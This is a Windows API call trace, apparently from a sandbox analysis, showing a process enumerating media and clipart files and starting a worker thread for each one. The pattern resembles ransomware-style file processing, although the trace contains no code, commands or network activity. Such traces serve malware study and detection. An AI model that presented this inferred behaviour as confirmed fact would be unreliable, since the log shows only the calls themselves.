	[0204.128] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1520
	[0204.426] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.427] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b48ba00, ftCreationTime.dwHighDateTime=0x1bd4bf3, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3b48ba00, ftLastWriteTime.dwHighDateTime=0x1bd4bf3, nFileSizeHigh=0x0, nFileSizeLow=0x52c, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02166_.WMF", cAlternateFileName="")) returned 1
	[0204.428] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1524
	[0204.431] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.432] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1e4b800, ftCreationTime.dwHighDateTime=0x1bd4bf1, ftLastAccessTime.dwLowDateTime=0x538951f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb1e4b800, ftLastWriteTime.dwHighDateTime=0x1bd4bf1, nFileSizeHigh=0x0, nFileSizeLow=0x1efc, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02282_.WMF", cAlternateFileName="")) returned 1
	[0204.432] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.433] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1528
	[0204.435] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.436] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fa59600, ftCreationTime.dwHighDateTime=0x1bd4bf5, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5fa59600, ftLastWriteTime.dwHighDateTime=0x1bd4bf5, nFileSizeHigh=0x0, nFileSizeLow=0x15b0, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02298_.WMF", cAlternateFileName="")) returned 1
	[0204.436] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.437] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x152c
	[0204.440] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.440] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3cd4300, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd3cd4300, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x136a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02312_.WMF", cAlternateFileName="")) returned 1
	[0204.441] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.441] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1530
	[0204.443] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.443] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x949ef200, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61ca6dd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x949ef200, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0xc0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HH02313_.WMF", cAlternateFileName="")) returned 1
	[0204.444] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.444] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1534
	[0204.446] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.447] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58502100, ftCreationTime.dwHighDateTime=0x1bf0ae8, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x58502100, ftLastWriteTime.dwHighDateTime=0x1bf0ae8, nFileSizeHigh=0x0, nFileSizeLow=0x5b04, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00005_.WMF", cAlternateFileName="")) returned 1
	[0204.447] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1538
	[0204.449] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.449] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1
	[0204.450] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x153c
	[0204.452] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.452] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1
	[0204.453] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.454] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1540
	[0204.456] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.457] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1
	[0204.457] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.458] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1544
	[0204.460] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.461] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x72, dwReserved1=0x0, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1
	[0204.461] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1548
	[0204.926] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.927] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1c0a, dwReserved0=0x72, dwReserved1=0x0, cFileName="HTECH_01.MID", cAlternateFileName="")) returned 1
	[0204.927] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154c
	[0204.929] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.929] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6c11ec00, ftCreationTime.dwHighDateTime=0x1bd4b2c, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c11ec00, ftLastWriteTime.dwHighDateTime=0x1bd4b2c, nFileSizeHigh=0x0, nFileSizeLow=0x486, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00046_.WMF", cAlternateFileName="")) returned 1
	[0204.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1550
	[0204.932] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.933] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20f3db00, ftCreationTime.dwHighDateTime=0x1bd4b24, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20f3db00, ftLastWriteTime.dwHighDateTime=0x1bd4b24, nFileSizeHigh=0x0, nFileSizeLow=0x318, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00118_.WMF", cAlternateFileName="")) returned 1
	[0204.933] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1554
	[0204.935] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.936] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x146a8500, ftCreationTime.dwHighDateTime=0x1bd4b1a, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x146a8500, ftLastWriteTime.dwHighDateTime=0x1bd4b1a, nFileSizeHigh=0x0, nFileSizeLow=0x432, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00177_.WMF", cAlternateFileName="")) returned 1
	[0204.936] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1558
	[0204.939] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.939] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37eef900, ftCreationTime.dwHighDateTime=0x1bd4b35, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x37eef900, ftLastWriteTime.dwHighDateTime=0x1bd4b35, nFileSizeHigh=0x0, nFileSizeLow=0x738, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00204_.WMF", cAlternateFileName="")) returned 1
	[0204.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.940] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x155c
	[0204.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.942] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98ede100, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x98ede100, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00233_.WMF", cAlternateFileName="")) returned 1
	[0204.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1560
	[0204.945] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.946] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc6428b00, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc6428b00, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x764, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00343_.WMF", cAlternateFileName="")) returned 1
	[0204.946] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1564
	[0204.948] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.949] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc17dd700, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc17dd700, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x2b8, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00346_.WMF", cAlternateFileName="")) returned 1
	[0204.950] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.951] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc451b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1568
	[0204.954] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.954] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xba56c900, ftCreationTime.dwHighDateTime=0x1bd4af3, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xba56c900, ftLastWriteTime.dwHighDateTime=0x1bd4af3, nFileSizeHigh=0x0, nFileSizeLow=0x788, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00351_.WMF", cAlternateFileName="")) returned 1
	[0204.954] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc48890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x156c
	[0204.957] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0204.958] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0ee5f00, ftCreationTime.dwHighDateTime=0x1bd4bce, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0ee5f00, ftLastWriteTime.dwHighDateTime=0x1bd4bce, nFileSizeHigh=0x0, nFileSizeLow=0x23d4, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00557_.WMF", cAlternateFileName="")) returned 1
	[0204.958] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0204.958] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4bf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1570
	[0205.299] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.300] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9b2000, ftCreationTime.dwHighDateTime=0x1bd4bf2, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9b2000, ftLastWriteTime.dwHighDateTime=0x1bd4bf2, nFileSizeHigh=0x0, nFileSizeLow=0x31cc, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00915_.WMF", cAlternateFileName="")) returned 1
	[0205.300] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1574
	[0205.303] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.304] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5570a100, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5570a100, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x1b08, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00919_.WMF", cAlternateFileName="")) returned 1
	[0205.304] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc263d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1578
	[0205.306] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.307] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a750c00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7a750c00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x4e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00956_.WMF", cAlternateFileName="")) returned 1
	[0205.307] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.308] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x157c
	[0205.310] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.310] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20e4b00, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x5392d770, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x20e4b00, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0xb80, dwReserved0=0x72, dwReserved1=0x0, cFileName="IN00957_.WMF", cAlternateFileName="")) returned 1
	[0205.310] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.312] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1580
	[0205.313] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.314] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x61cf3090, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2178, dwReserved0=0x72, dwReserved1=0x0, cFileName="INDST_01.MID", cAlternateFileName="")) returned 1
	[0205.314] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.315] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc4f650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1584
	[0205.316] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0205.317] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9b0900, ftCreationTime.dwHighDateTime=0x1bd6360, ftLastAccessTime.dwLowDateTime=0x562d5870, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d9b0900, ftLastWriteTime.dwHighDateTime=0x1bd6360, nFileSizeHigh=0x0, nFileSizeLow=0x4c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0075478.GIF", cAlternateFileName="")) returned 1
	[0205.317] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0205.318] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc52d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1588
	[0205.319] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
